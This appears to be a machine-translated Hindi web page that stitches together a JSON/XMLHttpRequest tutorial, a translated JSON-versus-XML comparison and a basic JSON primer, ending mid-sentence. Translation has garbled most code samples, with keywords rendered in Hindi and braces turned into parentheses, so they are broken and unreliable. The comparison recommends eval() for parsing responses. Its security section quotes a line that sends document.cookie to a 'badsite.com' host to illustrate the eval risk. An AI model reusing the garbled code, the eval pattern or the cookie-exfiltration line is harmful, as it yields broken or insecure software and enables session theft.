    • नेटवर्क अनुरोध करते समय उपयोग की जाने वाली HTTP विधि। यह मामला ठीक है क्योंकि हम केवल कुछ साधारण डेटा पुनर्प्राप्त कर रहे हैं।
    • अनुरोध का URL उस JSON फ़ाइल का URL है जिसे हमने पहले सहेजा था।
  • फिर निम्नलिखित दो पंक्तियाँ जोड़ें: यहां हम JSON पर सेटिंग कर रहे हैं ताकि XHR को पता चले कि सर्वर JSON लौटाएगा और इसे पर्दे के पीछे एक जावास्क्रिप्ट ऑब्जेक्ट में परिवर्तित किया जाना चाहिए। फिर हम इस विधि का उपयोग करके अनुरोध भेजते हैं: request.responseType = "json"; अनुरोध भेजें();
  • इस अनुभाग के अंतिम भाग में सर्वर से वापसी प्रतिक्रिया की प्रतीक्षा करना और फिर उसे संभालना शामिल है। अपने पिछले कोड के नीचे निम्नलिखित कोड जोड़ें: request.onload = function() ( var superHeroes = request.response;populeHeader(superHeroes); showHeroes(superHeroes); )
  • यहां हम अपने अनुरोध की प्रतिक्रिया (संपत्ति में उपलब्ध) को सुपरहीरो वेरिएबल में संग्रहीत करते हैं; इस वेरिएबल में अब JSON आधारित JavaScript ऑब्जेक्ट होगा! फिर हम इस ऑब्जेक्ट को दो फ़ंक्शन कॉल में पास करते हैं - पहला इसे सही डेटा से भर देगा, और दूसरा टीम के प्रत्येक नायक के लिए एक सूचना कार्ड बनाएगा और इसे इसमें डाल देगा।

    हमने कोड को एक इवेंट हैंडलर में लपेटा है जो अनुरोध ऑब्जेक्ट पर लोड इवेंट सक्रिय होने पर सक्रिय होता है (देखें) - ऐसा इसलिए होता है क्योंकि जब प्रतिक्रिया सफलतापूर्वक लौटा दी जाती है तो लोड इवेंट सक्रिय हो जाता है; इसे इस तरह से करने से यह सुनिश्चित हो जाता है कि जब हम इसके बारे में कुछ करने का प्रयास करेंगे तो request.response निश्चित रूप से उपलब्ध होगा।

    हेडर भरना

    अब हमने JSON डेटा निकाल लिया है और इसे एक जावास्क्रिप्ट ऑब्जेक्ट में बदल दिया है, आइए ऊपर लिंक किए गए दो फ़ंक्शन लिखकर इसका उपयोग करें। सबसे पहले, पिछले कोड के नीचे निम्नलिखित फ़ंक्शन परिभाषा जोड़ें:

    फ़ंक्शन पॉप्युलेटहेडर(jsonObj) ( var myH1 = document.createElement("h1"); myH1.textContent = jsonObj["squadName"]; हेडर.appendChild(myH1); var myPara = document.createElement("p"); myPara. textContent = "गृहनगर:" + jsonObj["homeTown"] + " // गठित: " + jsonObj["निर्मित"]; हेडर.appendChild(myPara);

    हमने खुद को याद दिलाने के लिए पैरामीटर को jsonObj नाम दिया है कि यह जावास्क्रिप्ट ऑब्जेक्ट JSON से उत्पन्न हुआ है। यहां हम पहले एक तत्व बनाते हैं, इसे ऑब्जेक्ट के स्क्वाडनेम प्रॉपर्टी के बराबर सेट करते हैं, और फिर इसे हेडर में जोड़ते हैं। फिर हम एक पैराग्राफ के साथ एक बहुत ही समान ऑपरेशन करते हैं: हम इसे बनाते हैं, इसकी पाठ सामग्री सेट करते हैं, और इसे शीर्षक में जोड़ते हैं। एकमात्र अंतर यह है कि इसका पाठ एक संयोजित स्ट्रिंग के रूप में निर्दिष्ट है जिसमें होमटाउन और ऑब्जेक्ट के गठित गुण दोनों शामिल हैं।

    हीरो सूचना कार्ड बनाना

    फिर सुपरहीरो कार्ड बनाने और प्रदर्शित करने वाले कोड के नीचे निम्नलिखित फ़ंक्शन जोड़ें:

    फ़ंक्शन showHeroes(jsonObj) ( var हीरो = jsonObj["सदस्य"]; के लिए (var i = 0; i< heroes.length; i++) { var myArticle = document.createElement("article"); var myH2 = document.createElement("h2"); var myPara1 = document.createElement("p"); var myPara2 = document.createElement("p"); var myPara3 = document.createElement("p"); var myList = document.createElement("ul"); myH2.textContent = heroes[i].name; myPara1.textContent = "Secret identity: " + heroes[i].secretIdentity; myPara2.textContent = "Age: " + heroes[i].age; myPara3.textContent = "Superpowers:"; var superPowers = heroes[i].powers; for (var j = 0; j < superPowers.length; j++) { var listItem = document.createElement("li"); listItem.textContent = superPowers[j]; myList.appendChild(listItem); } myArticle.appendChild(myH2); myArticle.appendChild(myPara1); myArticle.appendChild(myPara2); myArticle.appendChild(myPara3); myArticle.appendChild(myList); section.appendChild(myArticle); } }

    सबसे पहले, आइए जावास्क्रिप्ट ऑब्जेक्ट की सदस्यों की संपत्ति को एक नए वेरिएबल में संग्रहीत करें। इस सरणी में कई ऑब्जेक्ट हैं जिनमें प्रत्येक नायक के लिए जानकारी शामिल है।

    फिर हम सरणी में प्रत्येक ऑब्जेक्ट के माध्यम से लूप का उपयोग करते हैं। उनमें से प्रत्येक के लिए हम:

  • हम कई नए तत्व बनाते हैं: , , तीन

    और

      .
    • वर्तमान नायक का नाम शामिल करने के लिए सेट करें।
    • सूची में जानकारी दर्ज करने के लिए अपनी गुप्त पहचान, उम्र और "महाशक्तियाँ:" कहने वाली एक पंक्ति के साथ तीन पैराग्राफ भरें।
    • हम शक्तियों की संपत्ति को सुपरपावर नामक एक अन्य नए वेरिएबल में संग्रहीत करते हैं - इसमें एक सरणी होती है जो वर्तमान नायक की महाशक्तियों को सूचीबद्ध करती है।
    • हम वर्तमान नायक की महाशक्तियों के माध्यम से चक्र करने के लिए दूसरे लूप का उपयोग करते हैं - उनमें से प्रत्येक के लिए हम एक तत्व बनाते हैं
    • , इसमें महाशक्तियाँ डालें, और फिर तत्व के अंदर listItem डालें
        (myList) appendChild() का उपयोग कर रहा हूं।
      • आखिरी चीज़ जो हम करते हैं वह है जोड़ना,

        और

          अंदर (myArticle) और फिर इसे इसमें जोड़ें। चीजों को जोड़ने का क्रम महत्वपूर्ण है, क्योंकि इसी क्रम में वे HTML के अंदर दिखाई देंगी।

          टिप्पणी: यदि आपको जावास्क्रिप्ट ऑब्जेक्ट तक पहुंचने के लिए उपयोग किए जाने वाले डॉट/ब्रैकेट नोटेशन का पालन करने में परेशानी हो रही है, तो सुपरहीरो.जेसन फ़ाइल को किसी अन्य टैब या टेक्स्ट एडिटर में खोलने और जब आप हमारी जावास्क्रिप्ट को देखते हैं तो इसे संदर्भित करने में मदद मिल सकती है। बिंदु और कोष्ठक संकेतन पर अधिक जानकारी के लिए आप हमारे लेख को भी देख सकते हैं।

          ऑब्जेक्ट और टेक्स्ट के बीच कनवर्ट करें

          उपरोक्त उदाहरण जावास्क्रिप्ट ऑब्जेक्ट तक पहुँचने के संदर्भ में सरल था क्योंकि हमने JSON प्रतिक्रिया को सीधे जावास्क्रिप्ट ऑब्जेक्ट में परिवर्तित करने के लिए एक XHR अनुरोध निर्दिष्ट किया था।

          • अनुवाद

          ध्यान दें: नीचे समीक्षा लेख "JSON बनाम XML" का अनुवाद है, जो JSON और कई मानदंडों के अनुसार XML के साथ इसकी तुलना के लिए समर्पित है। हेब्रहाबर पाठकों के बीच JSON को लोकप्रिय बनाने के लिए प्रकाशित किया गया।

          JSON (जावास्क्रिप्ट ऑब्जेक्ट नोटेशन) एक डेटा एक्सचेंज प्रारूप है जिसे लोगों द्वारा पढ़ना आसान है, प्रोग्राम द्वारा प्रोसेस करना और जेनरेट करना आसान है।

          जावास्क्रिप्ट भाषा के सबसेट पर आधारित, मानक ईसीएमए-262 तीसरा संस्करण - दिसंबर 1999।


          JSON - विकिपीडिया

          AJAX अनुप्रयोगों में XMLHttpRequest के लिए सही प्रतिक्रिया प्रारूप क्या है? अधिकांश मार्कअप-आधारित अनुप्रयोगों के लिए, उत्तर सरल है - (X)HTML। सूचना-केंद्रित अनुप्रयोगों के लिए, विकल्प XML और JSON के बीच होगा। कुछ समय पहले तक, मुझे वास्तव में आश्चर्य नहीं होता था कि क्या उपयोग करना बेहतर है, XML या JSON। मैंने बस यह मान लिया कि प्रत्येक विशिष्ट मामले में सबसे उपयुक्त प्रारूप चुनना उचित होगा, बस इतना ही। लेकिन हाल ही में मुझे व्यवहार में इस दृष्टिकोण का परीक्षण करने का अवसर मिला। इस पोस्ट में, मैं उन मानदंडों का वर्णन करूंगा जिनके द्वारा मैंने XML और JSON के बीच तुलना की, और अपने स्वयं के निष्कर्षों का वर्णन करूंगा।

          तो, मानदंड इस प्रकार हैं।

          • कोड पठनीयता.
          • सर्वर-साइड डेटा ऑब्जेक्ट बनाने में आसानी।
          • क्लाइंट पक्ष पर आसान डेटा प्रोसेसिंग।
          • विस्तार करना आसान है.
          • डिबगिंग और त्रुटि सुधार.
          • सुरक्षा।
          कोड पठनीयता

          व्यक्ति व्यक्ति = नया व्यक्ति(); व्यक्ति.सेटफर्स्टनाम('सुब्बू'); व्यक्ति.सेटलास्टनाम('अल्लामाराजू'); लेखक.लिखें(JSONObject.fromObject(person).toString());

          यदि हम ऐसे प्रोग्रामिंग इंटरफेस की कार्यप्रणाली पर विचार करें, तो JSON बनाना जावा बीन्स को ऑब्जेक्ट में क्रमबद्ध करने से बहुत अलग नहीं है। हालाँकि, यह ध्यान देने योग्य है कि अब JSON की तुलना में XML उत्पन्न करने के कई और तरीके हैं। इनमें से कुछ XML API कई वर्षों से मौजूद हैं और इस कारण से जटिल अनुप्रयोगों के लिए उपयोग किए जाने पर वे अधिक स्थिर हो सकते हैं।

          विचार करने का एक अन्य पहलू उन संसाधनों की मात्रा होगी जिनका उपयोग प्रतिक्रिया उत्पन्न करने के लिए किया जाता है। यदि डेटा प्राप्त करते समय "भारी" ऑपरेशन पहले ही किए जा चुके हैं, तो सर्वर भाग के लिए प्रतिक्रिया के लिए उन्हें अतिरिक्त रूप से XML में परिवर्तित करना मुश्किल नहीं होगा। यदि XML बनाना सबसे अधिक संसाधन-गहन ऑपरेशन है, तो JSON का उपयोग करना बेहतर है।

          उपयोग में आसानी

          क्लाइंट पक्ष पर, XMLHttpRequest के जवाब के रूप में JSON डेटा को संसाधित करना बेहद सरल है।

          वर व्यक्ति = eval(xhr.responseText); चेतावनी(व्यक्ति.पहला नाम);

          नियमित eval() का उपयोग करके आप प्रतिक्रिया को जावास्क्रिप्ट ऑब्जेक्ट में परिवर्तित कर सकते हैं। एक बार जब यह ऑपरेशन पूरा हो जाता है, तो परिवर्तित ऑब्जेक्ट के गुणों का उपयोग करके डेटा तक पहुंचा जा सकता है। यह सभी JSON का सबसे खूबसूरत हिस्सा है।

          अब आइए एक्सएमएल को देखें। नीचे दिए गए कोड स्निपेट को अधिक पारदर्शी बनाने के लिए, मैंने सभी त्रुटि जाँच हटा दी हैं।

          "पहला नाम"); चेतावनी(तत्व[0].firstChild.textContent);

          जाहिर है, सर्वर से प्राप्त डेटा को संसाधित करते समय, संपूर्ण DOM ट्री को देखना आवश्यक है। यह बहुत श्रमसाध्य ऑपरेशन है और इसमें त्रुटियां होने की संभावना रहती है। दुर्भाग्य से, ब्राउज़र में हमें DOM से निपटना पड़ता है। XML दस्तावेज़ में ट्री नोड्स को पुनः प्राप्त करने के लिए ब्राउज़र XPath जैसी क्वेरी भाषा का समर्थन नहीं करते हैं। इन कार्यों के लिए समर्थन पहले से ही XSLT पर लागू है, लेकिन यह काफी सीमित है ( ध्यान दें: ब्राउज़र में) XML को मार्कअप में परिवर्तित करने के संदर्भ में (उदाहरण के लिए, HTML)। वेब इंटरफेस पर कार्य समूह ( वेब एपीआई वर्किंग ग्रुप) W3C से एक चयनकर्ता इंटरफ़ेस पर काम कर रहा है ( चयनकर्ता एपीआई), जिसका उपयोग दस्तावेज़ ऑब्जेक्ट से नोड्स का चयन करते समय सीएसएस चयनकर्ताओं को लागू करने के लिए किया जा सकता है। ऐसे इंटरफ़ेस का उपयोग करके, फर्स्टनाम तत्व प्राप्त करने के लिए उपरोक्त कोड उदाहरण को xml.match("person.firstName") में बदलना संभव होगा। इस उदाहरण में XML दस्तावेज़ के लिए यह कोई बड़ी उपलब्धि नहीं है, लेकिन यह अत्यधिक शाखाओं वाले दस्तावेज़ों के साथ काम करने के लिए उपयोगी हो सकता है। यह इंटरफ़ेस अभी तक पूरा नहीं हुआ है, और ब्राउज़र को इसका समर्थन करने में कई वर्ष लगेंगे।

          सामान्य तौर पर, अगर मुझे XML और JSON के बीच चयन करना है, तो क्लाइंट-साइड प्रोसेसिंग को लागू करने में आसानी के कारण मैं JSON को प्राथमिकता दूंगा।

          तानाना

          एक्स्टेंसिबिलिटी डेटा प्रदाता और प्राप्तकर्ता के बीच संचार की संख्या को कम करने में मदद करती है। AJAX अनुप्रयोगों के संदर्भ में, क्लाइंट-साइड स्क्रिप्ट डेटा में संगत परिवर्तनों के संबंध में पर्याप्त रूप से अपरिवर्तनीय होनी चाहिए।

          सामान्य धारणा यह है कि केवल "X" अक्षर की उपस्थिति के आधार पर XML स्वचालित रूप से विस्तार योग्य है। लेकिन यह कोई बिना शर्त नियम नहीं है (अर्थात, डिफ़ॉल्ट रूप से कार्य करना)। एक्सएमएल एक्स्टेंसिबिलिटी इस सिद्धांत पर आधारित है कि आप अपने एक्सएमएल में अतिरिक्त नोड्स को परिभाषित कर सकते हैं और फिर "जो आवश्यक नहीं है उसे छोड़ें" नियम लागू कर सकते हैं (यानी, यदि आपको एक्सएमएल संसाधित करते समय कोई अपरिचित तत्व या विशेषता मिलती है, तो बस इसे छोड़ दें)।

          एक्स्टेंसिबिलिटी का पूरा लाभ उठाने के लिए, आपको एक्स्टेंसिबिलिटी को ध्यान में रखते हुए क्लाइंट-साइड कोड लिखना होगा। उदाहरण के लिए, यदि आप सम्मिलित करना चाहते हैं, तो निम्न उदाहरण टूट जाएगा, उदाहरण के लिए, एक मध्यनाम तत्व।

          वर xml = xhr.responseXML; var तत्व = xml.getElementsByTagName("firstName"); varfirstNameEl = तत्व[0]; var LastNameEl =firstNameEl.nextSibling;

          यदि आप तत्व के तुरंत बाद कोई तत्व डालते हैं, तो यह उदाहरण मध्य नाम को अंतिम नाम के रूप में गलत व्याख्या करने का कारण बनेगा। इस परिवर्तन के लिए अपरिवर्तनीय होने के लिए, तत्व को स्पष्ट रूप से प्राप्त करने के लिए कोड को फिर से लिखना होगा, या नेक्स्टसिबलिंग तक पहुंच केवल तभी करनी होगी जब वांछित टैगनाम वाला बच्चा मिल जाए। इस प्रकार, XML तब तक एक्स्टेंसिबल है जब तक आप भविष्य की एक्स्टेंसिबिलिटी को ध्यान में रखते हुए कोड लिखते हैं। सब कुछ बेहद सरल है.

          आइए JSON पर वापस जाएँ। मेरा तर्क है कि XML की तुलना में JSON डेटा का विस्तार करना आसान है। इसमें निस्संदेह कम प्रयास की आवश्यकता है। आइए JSON प्रतिक्रिया में मध्य नाम गुण जोड़ने पर विचार करें। इसे एक्सेस करने के लिए, आपको बस इसे कॉल करना होगा।

          चेतावनी(व्यक्ति.मध्यनाम);

          यदि आप अपने उत्तर में मध्य नाम जोड़ते हैं तो यह कोड नहीं बदलेगा। लेकिन मध्य नाम वाले या बिना मध्य नाम वाले व्यक्ति पर कार्रवाई करने की स्थिति में क्या करें? JSON के साथ यह आसान है.

          यदि (person.middleName) (//प्रसंस्करण)

          मेरी स्थिति यह है कि यदि संभव हो तो भविष्य की विस्तारशीलता को ध्यान में रखा जाए, तो XML और JSON डेटा दोनों को बढ़ाया जा सकता है। लेकिन XML की तुलना में JSON के साथ डेटा का विस्तार करना आसान है। आपको बस यह जांचना होगा कि वस्तु पर आवश्यक संपत्ति मौजूद है और जांच के परिणाम के अनुसार कार्य करना है।

          JSON डेटा का विस्तार करने का एक अन्य विकल्प सीधे प्रतिक्रिया में डेटा घोषणाओं के साथ फ़ंक्शन कॉल का उपयोग करना है।

          चेतावनी('हाय - मैं' एक व्यक्ति हूं'); (('पहला नाम' : 'सुब्बू', 'अंतिम नाम' : 'अल्लामाराजू'));

          जब डेटा eval() के माध्यम से घोषित किया जाता है, तो ब्राउज़र अलर्ट() अभिव्यक्ति को भी कॉल करेगा। इस स्थिति में, आप डेटा लोड कर सकते हैं और फ़ंक्शंस निष्पादित कर सकते हैं। इस दृष्टिकोण का उपयोग बहुत सावधानी से किया जाना चाहिए, क्योंकि यह फ़ंक्शन कॉल के साथ प्रतिक्रिया को अव्यवस्थित करता है और कॉल और डेटा के बीच संबंध बनाता है। कुछ स्रोत इस दृष्टिकोण की संभावित सुरक्षा कमजोरियों पर भी चर्चा करते हैं, जिन पर नीचे अधिक विस्तार से चर्चा की गई है।

          डिबगिंग और त्रुटि सुधार

          यह पहलू आपके एप्लिकेशन के सर्वर पक्ष और क्लाइंट पक्ष दोनों पर लागू होता है। सर्वर पर, आपको यह सुनिश्चित करना होगा कि डेटा सही ढंग से बना है और सही है। क्लाइंट पक्ष पर प्रतिक्रिया में त्रुटियों को डीबग करना आसान होना चाहिए।

          XML के साथ, यह सत्यापित करना अपेक्षाकृत आसान है कि क्लाइंट को भेजा गया डेटा अच्छी तरह से तैयार और सही है। आप अपने डेटा के लिए स्कीमा का उपयोग कर सकते हैं और डेटा को सत्यापित करने के लिए इसे लागू कर सकते हैं। JSON के साथ, यह कार्य मैन्युअल हो जाता है और यह जाँचने की आवश्यकता होती है कि परिणामी ऑब्जेक्ट में सही विशेषताएँ हैं।

          क्लाइंट पक्ष पर, दोनों ही मामलों में त्रुटियों का पता लगाना कठिन है। एक्सएमएल के लिए, ब्राउज़र इसे रिस्पॉन्सएक्सएमएल में परिवर्तित करने में सक्षम नहीं होगा। JSON डेटा की छोटी मात्रा के लिए, आप डिबगिंग और त्रुटि सुधार के लिए फ़ायरबग एक्सटेंशन का उपयोग कर सकते हैं। लेकिन बड़ी मात्रा में डेटा के साथ, कोड में किसी विशिष्ट स्थान के साथ त्रुटि संदेश को सहसंबंधित करना कुछ हद तक मुश्किल हो जाता है।

          सुरक्षा

          डेव जॉनसन ने अपनी पोस्ट JSON और गोल्डन फ़्लीस में सुझाव दिया है कि JSON सुरक्षा समस्याएं पैदा कर सकता है। नोट का सार यह है कि यदि आप JSON प्रतिक्रियाओं में डेटा के साथ फ़ंक्शन कॉल डालने की अनुमति देते हैं और प्रतिक्रिया को संसाधित करने के लिए eval() का उपयोग करते हैं, तो आप मनमाना कोड निष्पादित कर रहे हैं, जिसमें वास्तव में पहले से ही एक सुरक्षा जोखिम हो सकता है।

          विंडो.लोकेशन = "http:// Badsite.com?" + दस्तावेज़.कुकी; व्यक्ति: ("प्रथम नाम": "सुब्बू", "अंतिम नाम": "अल्लामाराजू")

          यदि उपरोक्त उदाहरण में प्रतिक्रिया निष्पादित की जाती है, तो यह ब्राउज़र को उपयोगकर्ता की कुकीज़ को तीसरे पक्ष की साइट पर भेजने का कारण बनेगा। लेकिन इस मामले में, सुरक्षा खतरे की परिभाषा में कुछ भ्रम है। आपको असत्यापित स्रोत से प्राप्त डेटा या कोड पर भरोसा नहीं करना चाहिए। और दूसरी बात, हम स्क्रिप्ट के स्रोत डोमेन के अलावा अन्य डोमेन के साथ संचार करने के लिए XMLHttpRequest का उपयोग नहीं कर पाएंगे। इसलिए, एप्लिकेशन बनाते समय केवल डेवलपर्स ही किसी तृतीय-पक्ष साइट पर कुकीज़ भेजने की पहल कर सकते हैं। यह काफी संदिग्ध है, क्योंकि वे इस दुर्भावनापूर्ण कोड को सर्वर से भेजे गए डेटा प्रतिक्रिया के बाहर दस्तावेज़ में कहीं भी आसानी से रख सकते हैं। शायद मुझे कुछ याद आ रहा है, लेकिन मुझे XML की तुलना में JSON को असुरक्षित मानने का कोई मतलब नहीं दिखता।

          मेरी मर्जीपर

          सूचना-केंद्रित अनुप्रयोगों के लिए, मैं इसकी सादगी और क्लाइंट पक्ष पर डेटा प्रोसेसिंग में आसानी के कारण XML की तुलना में JSON का उपयोग करना पसंद करूंगा। XML सर्वर पर अपरिहार्य हो सकता है, लेकिन क्लाइंट पर JSON के साथ काम करना निश्चित रूप से आसान है।

          निश्चित रूप से आपने कभी JSON के बारे में सुना है। यह क्या है? यह क्या कर सकता है और इसका उपयोग कैसे करें?

          इस ट्यूटोरियल में हम JSON की मूल बातें कवर करेंगे और निम्नलिखित बिंदुओं को कवर करेंगे:

          • JSON क्या है?
          • JSON का उपयोग किस लिए किया जाता है?
          • JSON स्ट्रिंग कैसे बनाएं?
          • JSON स्ट्रिंग का एक सरल उदाहरण.
          • आइए JSON और XML की तुलना करें।
          • जावास्क्रिप्ट और PHP में JSON के साथ कैसे काम करें?
          JSON क्या है?

          JSON संरचित डेटा को संग्रहीत और प्रसारित करने का एक सरल, टेक्स्ट-आधारित तरीका है। एक सरल वाक्यविन्यास के साथ, आप सादे पाठ में एकल संख्या से लेकर स्ट्रिंग्स, एरे और ऑब्जेक्ट तक कुछ भी आसानी से संग्रहीत कर सकते हैं। आप जटिल डेटा संरचनाएँ बनाने के लिए सरणियों और ऑब्जेक्ट को एक साथ भी लिंक कर सकते हैं।

          एक बार JSON स्ट्रिंग बन जाने के बाद, इसे किसी अन्य एप्लिकेशन या नेटवर्क पर किसी अन्य स्थान पर भेजना आसान होता है क्योंकि यह सादा पाठ है।

          JSON के निम्नलिखित फायदे हैं:

          • यह कॉम्पैक्ट है.
          • इसके वाक्यों को मनुष्य और कंप्यूटर दोनों द्वारा पढ़ना और लिखना आसान है।
          • इसे अधिकांश प्रोग्रामिंग भाषाओं (संख्या, स्ट्रिंग, बूलियन, एरे इत्यादि) के लिए डेटा संरचना में आसानी से परिवर्तित किया जा सकता है।
          • कई प्रोग्रामिंग भाषाओं में JSON संरचनाओं को पढ़ने और बनाने के लिए फ़ंक्शंस और लाइब्रेरीज़ हैं।

          JSON नाम का अर्थ जावास्क्रिप्ट ऑब्जेक्ट नोटेशन है। जैसा कि नाम से पता चलता है, यह वस्तुओं को परिभाषित करने के तरीके पर आधारित है (काफी हद तक अन्य भाषाओं में साहचर्य सरणियाँ बनाने की तरह) और सरणियाँ।

          JSON का उपयोग किस लिए किया जाता है?

          JSON का सबसे आम उपयोग सर्वर से ब्राउज़र पर डेटा भेजना है। आमतौर पर, JSON डेटा AJAX का उपयोग करके वितरित किया जाता है, जो ब्राउज़र और सर्वर को पृष्ठ को पुनः लोड किए बिना संचार करने की अनुमति देता है।

        • उपयोगकर्ता किसी ऑनलाइन स्टोर में उत्पाद थंबनेल पर क्लिक करता है।
        • ब्राउज़र पर चलने वाली जावास्क्रिप्ट चयनित उत्पाद की आईडी को पास करते हुए, सर्वर पर चल रही PHP स्क्रिप्ट के लिए एक AJAX अनुरोध उत्पन्न करती है।
        • PHP स्क्रिप्ट को डेटाबेस से उत्पाद का नाम, विवरण, कीमत और अन्य जानकारी मिलती है। फिर यह डेटा से एक JSON स्ट्रिंग बनाता है और इसे ब्राउज़र पर भेजता है।
        • ब्राउज़र पर चलने वाला जावास्क्रिप्ट JSON स्ट्रिंग प्राप्त करता है, उसे डीकोड करता है, और उपयोगकर्ता के लिए पृष्ठ पर उत्पाद जानकारी प्रदर्शित करता है।
        • आप GET या POST अनुरोधों के पैरामीटर के रूप में JSON स्ट्रिंग पास करके ब्राउज़र से सर्वर पर डेटा भेजने के लिए JSON का भी उपयोग कर सकते हैं। लेकिन यह विधि कम आम है, क्योंकि AJAX अनुरोधों के माध्यम से डेटा स्थानांतरण को सरल बनाया जा सकता है। उदाहरण के लिए, उत्पाद आईडी को GET अनुरोध के भाग के रूप में URL में शामिल किया जा सकता है।

          JQuery लाइब्रेरी में कई विधियाँ हैं, जैसे getJSON() और parseJSON(), जो AJAX अनुरोधों के माध्यम से JSON का उपयोग करके डेटा पुनर्प्राप्त करना आसान बनाती हैं।

          JSON स्ट्रिंग कैसे बनाएं?

          JSON स्ट्रिंग बनाने के लिए कुछ बुनियादी नियम हैं:

          • JSON स्ट्रिंग में या तो मानों की एक सरणी या एक ऑब्जेक्ट (नाम/मूल्य जोड़े की एक सहयोगी सरणी) होती है।
          • सरणीवर्गाकार कोष्ठकों ([ और ]) में संलग्न है और इसमें मानों की अल्पविराम से अलग की गई सूची है।
          • एक वस्तुघुंघराले ब्रेसिज़ (( और )) में संलग्न है और इसमें नाम/मूल्य जोड़े की अल्पविराम से अलग की गई सूची शामिल है।
          • नाम/मूल्य युग्मइसमें फ़ील्ड नाम दोहरे उद्धरण चिह्नों में संलग्न होता है, जिसके बाद एक कोलन (:) और फ़ील्ड मान होता है।
          • अर्थकिसी सरणी या ऑब्जेक्ट में ये हो सकते हैं:
            • संख्या (पूर्णांक या फ़्लोटिंग पॉइंट)
            • स्ट्रिंग (दोहरे उद्धरण चिह्नों में)
            • बूलियन मान (सही या गलत)
            • एक अन्य सारणी (वर्गाकार कोष्ठक में संलग्न)
            • एक अन्य वस्तु (घुंघराले ब्रेसिज़ में संलग्न)
            • शून्य मान

          एक स्ट्रिंग में दोहरे उद्धरण चिह्न शामिल करने के लिए, आपको बैकस्लैश का उपयोग करने की आवश्यकता है: \" । कई प्रोग्रामिंग भाषाओं की तरह, आप एक स्ट्रिंग में नियंत्रण वर्ण और हेक्स कोड को बैकस्लैश से पहले डाल सकते हैं। विवरण के लिए JSON वेबसाइट देखें।

          सरल JSON स्ट्रिंग उदाहरण

          नीचे JSON प्रारूप में ऑर्डर करने का एक उदाहरण दिया गया है:

          ('ऑर्डरआईडी': 12345, 'शॉपरनेम': 'वान्या इवानोव', 'शॉपरईमेल': ' [ईमेल सुरक्षित]", "सामग्री": [( "उत्पादआईडी": 34, "उत्पादनाम": "सुपर उत्पाद", "मात्रा": 1 ), ( "उत्पादआईडी": 56, "उत्पादनाम": "चमत्कारी उत्पाद", "मात्रा": 3 ) ], "आदेश पूरा हुआ": सत्य )

          आइए इस पंक्ति को विस्तार से देखें:

          • हम घुंघराले ब्रेसिज़ (( और )) का उपयोग करके एक ऑब्जेक्ट बनाते हैं।
          • ऑब्जेक्ट में कई नाम/मूल्य जोड़े हैं: "ऑर्डरआईडी": 12345 "ऑर्डरआईडी" नाम वाली एक संपत्ति और एक पूर्णांक मान 12345 "शॉपरनाम": "वान्या इवानोव" "शॉपरनेम" नाम वाली एक संपत्ति और स्ट्रिंग मान "वान्या इवानोव" " "शॉपरईमेल": " [ईमेल सुरक्षित]"स्ट्रिंग मान के साथ "शॉपरईमेल" नामक एक संपत्ति" [ईमेल सुरक्षित]" "सामग्री": [ ... ] "सामग्री" नाम की एक संपत्ति जिसका मान एक सरणी "ऑर्डरकंप्लीटेड" है: सत्य "ऑर्डरकंप्लीटेड" नामक एक संपत्ति और बूलियन मान सत्य है
          • "सामग्री" सरणी में 2 ऑब्जेक्ट हैं जो क्रम में अलग-अलग आइटम का प्रतिनिधित्व करते हैं। प्रत्येक ऑब्जेक्ट में 3 गुण होते हैं: productID, productName, और मात्रा।

          वैसे, चूंकि JSON जावास्क्रिप्ट ऑब्जेक्ट घोषित करने पर आधारित है, आप उपरोक्त JSON स्ट्रिंग को जल्दी और आसानी से जावास्क्रिप्ट ऑब्जेक्ट बना सकते हैं:

          वर कार्ट = ("ऑर्डर आईडी": 12345, "शॉपरनेम": "वान्या इवानोव", "शॉपरईमेल": " [ईमेल सुरक्षित]", "सामग्री": [( "उत्पादआईडी": 34, "उत्पादनाम": "सुपर उत्पाद", "मात्रा": 1 ), ( "उत्पादआईडी": 56, "उत्पादनाम": "चमत्कारी उत्पाद", "मात्रा": 3 ) ], "ऑर्डर पूरा हुआ": सत्य);

          JSON और XML की तुलना

          कई मायनों में, आप JSON को XML के विकल्प के रूप में सोच सकते हैं, कम से कम वेब एप्लिकेशन क्षेत्र में। AJAX की अवधारणा मूल रूप से सर्वर और ब्राउज़र के बीच डेटा स्थानांतरित करने के लिए XML के उपयोग पर आधारित थी। लेकिन हाल के वर्षों में, AJAX डेटा के परिवहन के लिए JSON तेजी से लोकप्रिय हो गया है।

          जबकि XML एक सिद्ध तकनीक है जिसका उपयोग उचित संख्या में अनुप्रयोगों में किया जाता है, JSON को अधिक कॉम्पैक्ट और पहचानने में आसान डेटा प्रारूप होने का लाभ मिलता है।

          XML में उपरोक्त उदाहरण ऑब्जेक्ट इस प्रकार दिखेगा:

          ऑर्डरआईडी 12345 खरीदार का नाम वान्या इवानोव खरीदार का ईमेल [ईमेल सुरक्षित]सामग्री उत्पादआईडी 34 उत्पादनाम सुपर उत्पाद मात्रा 1 उत्पादआईडी 56 उत्पादनाम चमत्कारी उत्पाद मात्रा 3 ऑर्डर पूर्ण सत्य

          XML संस्करण काफ़ी बड़ा है. वास्तव में यह 1128 अक्षर लंबा है, जबकि JSON संस्करण केवल 323 अक्षर लंबा है। XML संस्करण को समझना भी काफी कठिन है।

          निःसंदेह, यह एक क्रांतिकारी उदाहरण है। और अधिक कॉम्पैक्ट XML रिकॉर्ड बनाना संभव है. लेकिन फिर भी यह JSON समकक्ष से काफी लंबा होगा।

          जावास्क्रिप्ट में JSON स्ट्रिंग के साथ कार्य करना

          JSON का प्रारूप सरल है, लेकिन मैन्युअल रूप से JSON स्ट्रिंग बनाना काफी कठिन है। इसके अतिरिक्त, आपको अक्सर JSON स्ट्रिंग लेने, उसकी सामग्री को एक वेरिएबल में बदलने की आवश्यकता होती है जिसका उपयोग कोड में किया जा सकता है।

          अधिकांश प्रोग्रामिंग भाषाओं में वेरिएबल्स को आसानी से JSON स्ट्रिंग्स में बदलने और इसके विपरीत करने के लिए टूल होते हैं।

          एक वेरिएबल से JSON स्ट्रिंग बनाना

          जावास्क्रिप्ट में एक अंतर्निहित JSON.stringify() विधि है जो एक वेरिएबल लेती है और उसकी सामग्री का प्रतिनिधित्व करने वाली JSON स्ट्रिंग लौटाती है। उदाहरण के लिए, आइए एक जावास्क्रिप्ट ऑब्जेक्ट बनाएं जिसमें हमारे उदाहरण से ऑर्डर की जानकारी हो, और फिर उससे एक JSON स्ट्रिंग बनाएं:

